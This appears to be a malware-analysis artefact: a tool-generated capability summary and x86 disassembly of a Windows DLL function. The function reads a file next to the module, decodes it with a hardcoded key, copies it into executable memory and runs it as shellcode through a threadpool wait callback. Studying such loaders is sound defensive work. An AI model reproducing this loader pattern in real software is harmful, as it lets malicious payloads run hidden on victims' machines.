Function at 0x10001120
Capabilities:
Allocate or change rwx memory
Execute shellcode via createthreadpoolwait
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x184
push ebx
push esi
push edi
push 0x104
lea eax, [esp + 0x8c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp byte [esp + 0x88], 0
mov dword [esp + 0x28], 0xf
mov dword [esp + 0x24], 0
mov byte [esp + 0x14], 0
jne 0x10001167
xor ecx, ecx
jmp 0x1000117a
lea ecx, [esp + 0x88]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001171
sub ecx, edx
push ecx
lea eax, [esp + 0x8c]
push eax
lea ecx, [esp + 0x1c]
call fcn.10001580
mov ecx, dword [esp + 0x24]
mov byte [esp + 0x10], 0x5c
cmp ecx, 1
jb 0x100011de
mov edx, dword [esp + 0x28]
lea eax, [esp + 0x14]
mov edi, dword [esp + 0x14]
lea esi, [ecx - 1]
cmp edx, 0x10
cmovae eax, edi
add esi, eax
cmp byte [esi], 0x5c
jne 0x100011c0
mov al, byte [esi]
lea ecx, [esp + 0x10]
cmp al, byte [ecx]
je 0x100011d0
lea ecx, [esp + 0x14]
call fcn.100014e0
cmp esi, eax
je 0x100011de
dec esi
jmp 0x100011b1
cmp edx, 0x10
lea eax, [esp + 0x14]
cmovae eax, edi
sub esi, eax
jmp 0x100011e1
or esi, 0xffffffff
push 0xffffffffffffffff
inc esi
lea eax, [esp + 0x74]
push esi
push eax
lea ecx, [esp + 0x20]
call fcn.100013b0
push ecx
push esi
push 0
lea eax, [esp + 0x58]
push eax
lea ecx, [esp + 0x24]
call fcn.100013b0
mov edx, eax
lea ecx, [esp + 0x38]
call fcn.10001c30
mov eax, dword [esp + 0x64]
add esp, 4
cmp eax, 0x10
jb 0x1000125b
mov ecx, dword [esp + 0x4c]
inc eax
cmp eax, 0x1000
jb 0x10001252
test cl, 0x1f
jne 0x10001391
mov eax, dword [ecx - 4]
cmp eax, ecx
jae 0x10001396
sub ecx, eax
cmp ecx, 4
jb 0x1000139b
cmp ecx, 0x23
ja 0x100013a0
mov ecx, eax
push ecx
call fcn.10001e05
add esp, 4
cmp dword [esp + 0x48], 0x10
lea eax, [esp + 0x34]
push 0
cmovae eax, dword [esp + 0x38]
push 0
push 3
push 0
push 0
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100012aa
lea ecx, [esp + 0x34]
call fcn.100013f0
lea ecx, [esp + 0x70]
call fcn.100013f0
lea ecx, [esp + 0x14]
call fcn.100013f0
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
mov ebx, eax
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea eax, [esp + 0x30]
push 0
push eax
push ebx
push edi
push esi
mov dword [esp + 0x40], edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm0, xmmword [0x10012bb0]
lea ecx, [esp + 0x4c]
movups xmmword [esp + 0x4c], xmm0
lea edx, [ecx + 1]
mov byte [esp + 0x6c], 0
movaps xmm0, xmmword [str.5ryxkG7XWmmOYQN6CC2pTvGIcqdj4U9v]
movups xmmword [esp + 0x5c], xmm0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001306
sub ecx, edx
lea eax, [esp + 0x4c]
push ecx
push eax
mov edx, ebx
mov ecx, edi
call section..text
add esp, 8
push 0x40
push 0x3000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
push dword [esp + 0x30]
mov edi, eax
push edi
call fcn.1000d630
add esp, 0xc
push 0
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateThreadpoolWait]
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0x34]
call fcn.100013f0
lea ecx, [esp + 0x70]
call fcn.100013f0
lea ecx, [esp + 0x14]
call fcn.100013f0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.10004ff3
call fcn.10004ff3
call fcn.10004ff3
call fcn.10004ff3
int3